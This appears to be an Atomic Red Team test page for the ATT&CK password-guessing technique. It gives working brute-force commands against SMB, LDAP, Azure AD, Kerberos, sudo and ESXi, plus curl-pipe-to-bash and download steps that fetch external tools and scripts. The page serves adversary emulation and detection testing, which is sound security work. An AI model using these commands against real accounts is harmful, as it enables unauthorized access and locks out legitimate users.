T1110.001 - Brute Force: Password Guessing

Description from ATT&CK

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

Atomic Tests


Atomic Test #1 - Brute Force Credentials of single Active Directory domain users via SMB

Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller

Supported Platforms: Windows

auto_generated_guid: 09480053-2f98-4854-be6e-71ae5f672224

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | user | Account to bruteforce | string | %username%|

Attack Commands: Run with
1
command_prompt
!

echo Password1> passwords.txt
echo 1q2w3e4r>> passwords.txt
echo Password!>> passwords.txt
echo Spring2022>> passwords.txt
echo ChangeMe!>> passwords.txt
@FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL



Atomic Test #2 - Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)

Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos

Supported Platforms: Windows

auto_generated_guid: c2969434-672b-4ec8-8df0-bbb91f40e250

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | user | Account to bruteforce | string | $ENV:USERNAME| | passwords_path | List of passwords we will attempt to brute force with | path | PathToAtomicsFolder\T1110.001\src\passwords.txt| | domain | Active Directory domain FQDN | string | $env:UserDnsDomain| | auth | authentication method to choose between “NTLM” and “Kerberos” | string | NTLM|

Attack Commands: Run with
1
powershell
!

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if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

$passwordList = Get-Content -Path "#{passwords_path}"
foreach ($password in $passwordList){
  $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
  try {
    Write-Host " [-] Attempting ${password} on account #{user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] #{user}:${password} are valid credentials!"
  } catch {
    Write-Host $_.Exception.Message
  }
}
Write-Host "End of bruteforce"



Atomic Test #3 - Brute Force Credentials of single Azure AD user

Attempt to brute force Azure AD user via AzureAD powershell module.

Supported Platforms: Azure-ad

auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | username | Account to bruteforce. We encourage users running this atomic to add a valid microsoft account domain; for eg “bruce.wayne@" | string | bruce.wayne@contoso.com| | passwords | List of passwords we will attempt to brute force with | string | Password1`n1q2w3e4r`nPassword!|

Attack Commands: Run with
1
powershell
!

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Import-Module -Name AzureAD

$passwords = "#{passwords}".split("{`n}")
foreach($password in $passwords) {
  $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
  try {
    Write-Host " [-] Attempting ${password} on account #{username}."
    Connect-AzureAD -Credential $Credential 2>&1> $null
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
    break
  } catch {
    Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
  }
}
Write-Host "End of bruteforce"

Dependencies: Run with
1
powershell
!

Description: AzureAD module must be installed.
Check Prereq Commands:
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try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
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Install-Module -Name AzureAD -Force



Atomic Test #4 - Password Brute User using Kerbrute Tool

Bruteforce a single user’s password from a wordlist

Supported Platforms: Windows

auto_generated_guid: 59dbeb1a-79a7-4c2a-baf4-46d0f4c761c4

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | domaincontroller | Domain controller where test will be run | string | $ENV:userdnsdomain| | domain | Domain where you will be testing | string | $ENV:userdomain|

Attack Commands: Run with
1
powershell
!

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cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1

Dependencies: Run with
1
powershell
!

Description: kerbrute.exe must exist in PathToAtomicsFolder..\ExternalPayloads
Check Prereq Commands:
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if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
Description: bruteuser.txt must exist in PathToAtomicsFolder..\ExternalPayloads
Check Prereq Commands:
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if (test-path "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt"){exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt"



Atomic Test #5 - SUDO Brute Force - Debian

An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo’ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user.

This test creates the “art” user with a password of “password123”, logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user

Supported Platforms: Linux

auto_generated_guid: ba1bf0b6-f32b-4db0-b7cc-d78cacc76700

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_url | url of remote payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh|

Attack Commands: Run with
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bash
! Elevation Required (e.g. root or admin)

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useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
su -c "cd /tmp; curl -s #{remote_url} | bash" art

Cleanup Commands:

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userdel -fr art

Dependencies: Run with
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bash
!

Description: Check if running on a Debian based machine.
Check Prereq Commands:
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if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi
if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi
if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi
if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
Get Prereq Commands:
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apt update && apt install -y openssl sudo curl



Atomic Test #6 - SUDO Brute Force - Redhat

An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo’ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user.

This test creates the “art” user with a password of “password123”, logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user

Supported Platforms: Linux

auto_generated_guid: 4097bc00-5eeb-4d56-aaf9-287d60351d95

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_url | url of remote payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh|

Attack Commands: Run with
1
bash
! Elevation Required (e.g. root or admin)

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useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art
su art
cd /tmp
curl -s #{remote_url} |bash

Cleanup Commands:

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userdel -fr art

Dependencies: Run with
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bash
!

Description: Check if running on a Redhat based machine.
Check Prereq Commands:
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if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "RedHat"; else echo "NOT RedHat"; exit 1; fi
if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit 1; fi
if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi
if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
Get Prereq Commands:
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yum update && yum install -y openssl sudo curl



Atomic Test #7 - SUDO Brute Force - FreeBSD

An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo’ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user.

This test creates the “art” user with a password of “password123”, logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user

Supported Platforms: Linux

auto_generated_guid: abcde488-e083-4ee7-bc85-a5684edd7541

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_url | url of remote payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh|

Attack Commands: Run with
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bash
! Elevation Required (e.g. root or admin)

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pw adduser art -g wheel -s /bin/sh
echo "password123" | pw usermod art -h 0
su art
cd /tmp
curl -s #{remote_url} |bash

Cleanup Commands:

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rmuser -y art

Dependencies: Run with
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sh
!

Description: Check if running on a FreeBSD based machine.
Check Prereq Commands:
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if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi
if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi
if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
if [ -x "$(command -v bash)" ]; then echo "bash is installed"; else echo "bash is NOT installed"; exit 1; fi
Get Prereq Commands:
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pkg update && pkg install -y sudo curl bash



Atomic Test #8 - ESXi - Brute Force Until Account Lockout

An adversary may attempt to brute force the password of privilleged account for privilege escalation. In the process, the TA may lock the account, which can be used for detection. Reference

Supported Platforms: Windows

auto_generated_guid: ed6c2c87-bba6-4a28-ac6e-c8af3d6c2ab5

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | vm_host | Specify the host name of the ESXi Server | string | atomic.local| | plink_file | Path to Putty | path | PathToAtomicsFolder\..\ExternalPayloads\plink.exe| | lockout_threshold | Specify the account lockout threshold configured on the ESXI management server | string | 5|

Attack Commands: Run with
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powershell
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$lockout_threshold = [int]"#{lockout_threshold}"
for ($var = 1; $var -le $lockout_threshold; $var++) {
  #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
  }

Dependencies: Run with
1
powershell
!

Check Prereq Commands:
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if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"